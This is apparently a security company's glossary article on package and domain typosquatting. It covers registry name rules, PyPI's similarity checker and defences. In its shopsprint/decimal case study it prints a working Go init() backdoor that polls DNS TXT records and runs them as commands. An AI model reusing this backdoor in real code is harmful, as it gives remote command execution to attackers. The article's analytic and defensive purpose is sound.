# Typosquatting

> Typosquatting registers a lookalike domain or package name, one typo from a trusted one, so mistakes install or load attacker-controlled code.

Also known as: typo-squatting, URL hijacking, package typosquatting, typosquatting attack

Source: https://socket.dev/glossary/typosquatting

Last updated: 2026-10-15

**Typosquatting**, also called typo-squatting or URL hijacking, is an attack that registers a name one small mistake away from a trusted one, such as the domain `npnjs.com` or the npm package `crossenv`, so that typos, misremembered names, and autocomplete deliver attacker code. In open source registries, installing the lookalike package runs that code with the installer's privileges.

Typosquatting works because a package name is the only identifier most developers ever check. `npm install crossenv` and `npm install cross-env` are both valid commands, and the registry returns whatever the first person to claim each name uploaded. When Nikolai Tschacher uploaded 214 benign typo packages to PyPI, RubyGems, and npm in 2015 and 2016, [17,289 distinct hosts ran his code](https://incolumitas.com/2016/06/08/typosquatting-package-managers). At least 43.6% of those hosts ran it with administrative rights.

Our position is that name checks are a filter, not a verdict. Registry rules and similarity alerts catch the laziest lookalikes, but attackers copy the real package's README, author, and repository URL, so metadata cannot tell a fork from a trojan. The decision has to come from analyzing what the package's code does, before it is installed.

## What is typosquatting?

Typosquatting is the registration of a name that differs from a trusted name by a small, likely mistake. The term comes from web domains: register a misspelling of a popular site and wait for visitors who mistype it. Domain typosquats make money from phishing, ads, and drive-by downloads, and they still target developers. In July 2025 we analyzed [a phishing email that spoofed npm support](https://socket.dev/blog/npm-phishing-email-targets-developers-with-typosquatted-domain) and linked to `npnjs.com`, a proxy of the npm website one letter away from `npmjs.com`. The target maintained packages with 34 million weekly downloads.

Package typosquatting moves the same trick into software registries, and the stakes change. A domain typosquat needs a person to type a password into a fake page. A package typosquat needs a person, a build script, or an AI agent to type a name once. After that, the code runs inside builds, CI jobs, and production with no further interaction. Package typosquatting is a common route by which a [malicious package](https://socket.dev/glossary/malicious-package) reaches a developer who never meant to install it, and one of the oldest techniques in the [supply chain attack](https://socket.dev/glossary/supply-chain-attack) playbook.

## How a package name becomes running code

A package manager turns a name into executing code in a few steps, and none of them asks who published the package. npm sends `GET https://registry.npmjs.org/<name>` to the [npm registry](https://socket.dev/glossary/npm-registry), which returns the packument: a JSON document listing every published version. npm picks a version that satisfies the requested range, downloads the tarball, and checks `dist.integrity`, a SHA-512 hash of the tarball. Integrity proves the bytes match what the publisher uploaded. It says nothing about whether that publisher is the one you meant.

Registries work this way on purpose. Names are first come, first served so anyone can publish without approval, and that openness is why open source package ecosystems grew as fast as they did. The cost is that the registry has no concept of the package you intended.

> Figure 1. Every step after the first works as designed.
>
> How a typed package name becomes running code, and where typosquatting breaks the chain

Figure 1 shows the five steps from a typed name to running code. Step 1, a human, script, or AI agent typing a name such as `crossenv`, is where the trust assumption breaks, because nothing checks that the name matches the developer's intent. Step 2, the registry looks up the exact name with a request such as `GET registry.npmjs.org/crossenv`. Step 3, the tarball is fetched and `dist.integrity` is verified, which proves the bytes are unmodified but not who published them. Step 4, install-time lifecycle scripts (`preinstall`, `install`, `postinstall`) run. Step 5, top-level code runs on import through `require()`, `import`, or a Go `init()` function, with no opt-in, on developer machines, CI runners, and production hosts. Every step after the first works as designed.

The registry still holds the evidence of one of the first documented npm typosquats. This is the live packument for `crossenv` today, trimmed:

```bash
$ curl -s https://registry.npmjs.org/crossenv | jq '{description, "dist-tags", time}'
{
  "description": "security holding package",
  "dist-tags": { "latest": "0.0.2-security" },
  "time": {
    "created": "2017-07-19T04:21:00.066Z",
    "5.0.0-beta.0": "2017-07-19T04:21:00.066Z",
    "5.0.1": "2017-07-19T04:29:03.954Z",
    ...
    "6.0.7": "2017-07-19T06:32:58.946Z",
    "6.1.1": "2017-07-19T06:49:52.698Z",
    "0.0.1-security": "2017-08-01T15:18:40.480Z",
    "0.0.2-security": "2017-08-02T17:51:51.323Z"
  }
}
```

The attacker published 15 versions of `crossenv` in under two and a half hours on July 19, 2017. The version numbers start at `5.0.0-beta.0`, a tag the real `cross-env` package still carries today, so the history looked like a mirror of a maintained project. According to [npm's disclosure](https://blog.npmjs.org/post/163723642530/crossenv-malware-on-the-npm-registry.html), the package sent environment variables from the install context to `npm.hacktask.net`. npm counted 679 downloads of `crossenv` between July 19 and July 31, 2017, and removed about 40 related packages. What remains is a security holding package that npm published in place of the malware.

Other ecosystems differ in the details, not the shape. [PyPI](https://socket.dev/glossary/python-package-index-pypi) [normalizes project names](https://packaging.python.org/en/latest/specifications/name-normalization/) by lowercasing them and collapsing runs of `-`, `_`, and `.` into one `-`, so `Python_Dateutil` and `python-dateutil` are the same project. Go has no registry namespace at all: a module path is a repository URL, so a Go typosquat is a lookalike GitHub account. The Go module proxy also [caches every version it has served](https://socket.dev/blog/popular-go-decimal-library-typosquat-dns-backdoor), so deleting the repository does not delete the module.

## The lookalike-name taxonomy

Attackers do not rely only on fat-fingered keystrokes. They target every way a developer can arrive at the wrong name: misspelling, misremembering, guessing a naming convention, or copying a name from a search result. These are real packages from the record:

| Technique | Lookalike | Real package | Ecosystem, year |
| --- | --- | --- | --- |
| Dropped punctuation | crossenv | cross-env | npm, 2017 |
| Homoglyph (capital I for l) | jeIlyfish | jellyfish | PyPI, 2019 |
| Added prefix | python3-dateutil | python-dateutil | PyPI, 2019 |
| Deleted letter | psslib | passlib | PyPI, 2025 |
| .js or js suffix | zustand.js, typescriptjs, nodemonjs | zustand, typescript, nodemon | npm, 2025 |
| Phonetic respelling | deezcord.js, dizcordjs | discord.js | npm, 2025 |
| Dropped scope | ethersproject-wallet | @ethersproject/wallet | npm, 2026 |
| Owner typo in module path | github.com/shopsprint/decimal | github.com/shopspring/decimal | Go, 2017 to 2023 |

Sources for the table: [npm on crossenv](https://blog.npmjs.org/post/163723642530/crossenv-malware-on-the-npm-registry.html); our write-ups on [jeIlyfish and python3-dateutil](https://socket.dev/blog/how-socket-combats-insidious-typosquatting-supply-chain-attacks), [psslib](https://socket.dev/blog/malicious-python-package-typosquats-popular-passlib-library), [the ten npm credential-harvester packages](https://socket.dev/blog/10-npm-typosquatted-packages-deploy-credential-harvester), [ethersproject-wallet](https://socket.dev/blog/5-malicious-npm-packages-typosquat-solana-and-ethereum-libraries-steal-private-keys), and [shopsprint/decimal](https://socket.dev/blog/popular-go-decimal-library-typosquat-dns-backdoor).

Suffix and scope tricks dominate recent campaigns because they pass registry name rules, covered in the next section. They also exploit habits rather than typos. `ethersproject-wallet` is what a developer types after reading "ethersproject wallet" in a tutorial, and it [cloned the real `@ethersproject/wallet@5.8.0` release](https://socket.dev/blog/5-malicious-npm-packages-typosquat-solana-and-ethereum-libraries-steal-private-keys) wholesale: README, LICENSE, the original author field, and all 15 upstream dependencies. The only change was one injected line in the compiled CommonJS output. Reviewing the metadata of that package tells you nothing.

Two neighboring attacks exploit the same gap between a name and a publisher. [Dependency confusion](https://socket.dev/glossary/dependency-confusion) registers the exact name of a private package on a public registry and relies on the resolver, not a human, to pick the wrong source. [Slopsquatting](https://socket.dev/glossary/slopsquatting) registers names that AI coding assistants hallucinate. Typosquatting bets on human error; the other two bet on resolver and model error.

## Do npm and PyPI block typosquatting?

npm and PyPI both screen new package names, but neither screen decides whether a package is malicious. Since December 26, 2017, npm has rejected new package names that match an existing name once punctuation is removed. npm's rationale was blunt: ["many typosquat names either accidentally or on purpose use punctuation differences to sneak through."](https://blog.npmjs.org/post/168978377570/new-package-moniker-rules) Because `react-native` exists, nobody can publish `reactnative`, `react_native`, or `react.native`.

The rule is exact-match after stripping punctuation, so anything that adds or changes a character passes. `zustand.js` strips to `zustandjs`, which is not `zustand`, and `typescriptjs` is not `typescript`. Both were published in 2025 and stayed live for months.

PyPI runs a check called [TypoSnyper](https://github.com/pypi/warehouse/blob/main/warehouse/packaging/typosnyper.py) after a new project is created. It compares the normalized name against a corpus of the most depended-on projects using five tests: repeated characters, omitted characters, swapped characters, swapped words, and a table of common typos. A match does not block anything. The [task that runs the check](https://github.com/pypi/warehouse/blob/main/warehouse/packaging/tasks.py) records an observation and notifies PyPI admins for review, and the source says plainly that the observation is "a record only."

We ran TypoSnyper ourselves against candidate names to see where its edges are. This uses the module's built-in fallback list of the top 200 projects; production uses a cached corpus that may be larger.

```python
# typo_check.py: run PyPI's own typosquat check against candidate names
# curl -sO https://raw.githubusercontent.com/pypi/warehouse/main/warehouse/packaging/typosnyper.py
import importlib.util
spec = importlib.util.spec_from_file_location("ts", "typosnyper.py")
ts = importlib.util.module_from_spec(spec); spec.loader.exec_module(ts)
for name in ["reqeusts", "requestss", "reqests", "urlib3", "pandsa", "dateutil-python",
             "beautifulsoup", "python-dateutils", "colourama", "requests2", "numpy-utils"]:
    print(f"{name:18} {ts.typo_check_name(name)}")
```

```text
reqeusts           ('swapped_characters', 'requests')
requestss          ('repeated_characters', 'requests')
reqests            ('omitted_characters', 'requests')
urlib3             ('omitted_characters', 'urllib3')
pandsa             ('swapped_characters', 'pandas')
dateutil-python    ('swapped_words', 'python-dateutil')
beautifulsoup      ('omitted_characters', 'beautifulsoup4')
python-dateutils   None
colourama          None
requests2          None
numpy-utils        None
```

The results show both failure modes of name similarity. TypoSnyper catches classic single-edit typos and word swaps. It misses an appended letter (`python-dateutils`), an inserted letter that is not a repeat (`colourama`), and suffix or combination names (`requests2`, `numpy-utils`). It also flags `beautifulsoup`, which is the real, older Beautiful Soup 3 project. That false positive is why PyPI routes matches to a human instead of blocking them.

Tightening the edit model does not fix this, because legitimate packages are often one edit apart. The SpellBound research prototype, which checked names at install time for npm and PyPI, [warned on about 0.5% of package installs](https://arxiv.org/abs/2003.03471) at roughly 2.5% install-time overhead. Half a percent sounds small until it is every two-hundredth install across an organization. Similarity can rank suspicion. It cannot decide.

## Anatomy of a slow typosquat: shopsprint/decimal

The most instructive typosquat we have analyzed did nothing wrong for six years. `github.com/shopsprint/decimal` impersonated `github.com/shopspring/decimal`, a Go library for exact decimal arithmetic that [38,634 known importers on pkg.go.dev](https://socket.dev/blog/popular-go-decimal-library-typosquat-dns-backdoor) depend on. The only difference is the last letter of the GitHub owner name.

> Figure 2. github.com/shopsprint/decimal. Spacing is not to scale.
>
> Timeline of the github.com/shopsprint/decimal typosquat from 2017 to 2026

Figure 2 is a timeline of the module, with spacing not to scale. The table below carries the same data.

| Date (UTC) | Version or event | Behavior |
| --- | --- | --- |
| 2017-11-08 | v1.0.0 | Benign copy of upstream |
| 2018-03-01 to 2021-10-20 | v1.0.1 to v1.3.1 | Benign copies matching upstream tags |
| 2023-08-19 09:20:28 | v1.3.2 | Two real bugfixes copied from upstream |
| 2023-08-19 09:27:21 | v1.3.3 | Adds init() backdoor polling DNS TXT records |
| 2024-08-07 | C2 subdomain first analyzed by VirusTotal | Infrastructure staged |
| 2026-05-19 | Socket disclosure | Go security team then withdraws the module from proxy.golang.org |

Version v1.3.3 added three imports and an `init()` function, plus an empty `main()` that never runs. This is the payload portion of the diff from [our analysis](https://socket.dev/blog/popular-go-decimal-library-typosquat-dns-backdoor), taken from the module proxy's zip artifacts and trimmed:

```diff
--- decimal.go (v1.3.2)
+++ decimal.go (v1.3.3)
@@ -25,6 +25,9 @@
 	"regexp"
 	"strconv"
 	"strings"
+	"net"
+	"os/exec"
+	"time"
 )
@@ -505,6 +508,25 @@
+func init(){
+	go func(){
+		for {
+			records, err := net.LookupTXT("dnslog-cdn-images.freemyip.com")
+			if err != nil {
+				time.Sleep(5 * time.Minute)
+				continue
+			}
+			for _, txt := range records {
+				cmd := exec.Command(txt)
+				cmd.CombinedOutput()
+			}
+			time.Sleep(5 * time.Minute)
+		}
+	}()
+}
```

Go runs every `init()` in a package before `main()`, so any program that imports the module, directly or transitively, starts the loop when it launches. No install script exists to block. Every five minutes the goroutine fetches TXT records for a free dynamic-DNS subdomain and executes each value as a command. The arithmetic code is untouched, tests pass, and nothing is logged.

Three lessons generalize beyond Go. First, age and release history are not trust signals: the typosquat spent six years building a plausible history before the payload. Second, the poisoned release followed a benign one by seven minutes, so anyone who checked the day before saw recent, legitimate-looking activity. Third, the strongest signal was in the code, not the name: a decimal library has no reason to import `net` and `os/exec`. A capability diff against upstream would have flagged v1.3.3 the day it was published.

## How do you protect against typosquatting?

You protect against typosquatting by controlling which names enter your dependency graph and by inspecting what each new package does before it runs. Every common control covers part of that, and each has a specific blind spot:

| Control | What it stops | What it misses |
| --- | --- | --- |
| Lockfile with npm ci or equivalent | A later install silently resolving a different name or version | The typo committed on the day the dependency was added |
| Install scripts off by default (npm v12, pnpm 10) | postinstall payloads, like the ten 2025 npm credential-harvester packages | Import-time payloads: shopsprint's init(), wrapped bs58 decode() calls |
| Minimum release age (pnpm 11 default: 1,440 minutes) | A brand-new typosquat during its first day | Anything older than the window, including six-year-old shopsprint |
| Private registry or allowlist | Names outside an approved set | Exploration and prototyping; adds friction to every new dependency |
| Name-similarity alerts | Single-edit lookalikes of popular packages | Suffix, scope, and combination names; typosquats of less popular packages; legitimate near-names |
| Analysis of package contents before install | The payload, whatever the name | Payloads that evade analysis; a verdict still needs a human for novel cases |

Our verdict: treat lockfiles and scripts-off defaults as hygiene that limits blast radius, and make the real decision with content analysis at the moment a new name enters the graph, in the pull request or at install. As of October 2026, [npm v12 ships with dependency install scripts off by default](https://socket.dev/blog/npm-12), which closes the [postinstall scripts](https://socket.dev/glossary/postinstall-scripts) path that many typosquats use. That is a design mistake corrected, but it does nothing for a payload that runs on import. A [dependency cooldown](https://socket.dev/glossary/dependency-cooldown) such as [pnpm 11's 24-hour minimum release age](https://socket.dev/blog/pnpm-11-adds-new-supply-chain-protection-defaults) helps against a typosquat during its first day online and against nothing older.

In Socket, a lookalike name raises the [Possible typosquat attack alert](https://socket.dev/alerts/didYouMean), which asks "Did you mean" the package it resembles. We pair that alert with analysis of the package's code because the name alone cannot separate a fork from a trojan. In July 2026 our scanner caught [17 npm and PyPI packages typosquatting payment SDKs](https://socket.dev/blog/npm-pypi-campaign-typosquats-popular-secure-payment-apps), and flagged each malicious npm version within six minutes of publication, from what the code did rather than what it was called.

Two habits help any team. Copy install commands from the project's own documentation or repository, never from search results or chat. When adding a dependency, check the publisher account and first publish date, which the registry sets, rather than the repository URL and author fields, which the publisher can set to anything.

## The name is the wrong unit of trust

Typosquatting has outlived every registry rule written against it because the rules defend the name, and the name was never an identity. It is a string chosen by whoever got there first. The next shift is already underway: AI agents now type package names, and they do not fat-finger keys, they guess plausible names. A registry can block `reactnative`. It cannot rule on plausibility. The defenses that hold up are the ones that ignore the name entirely and ask what the code will do on the machine that runs it.
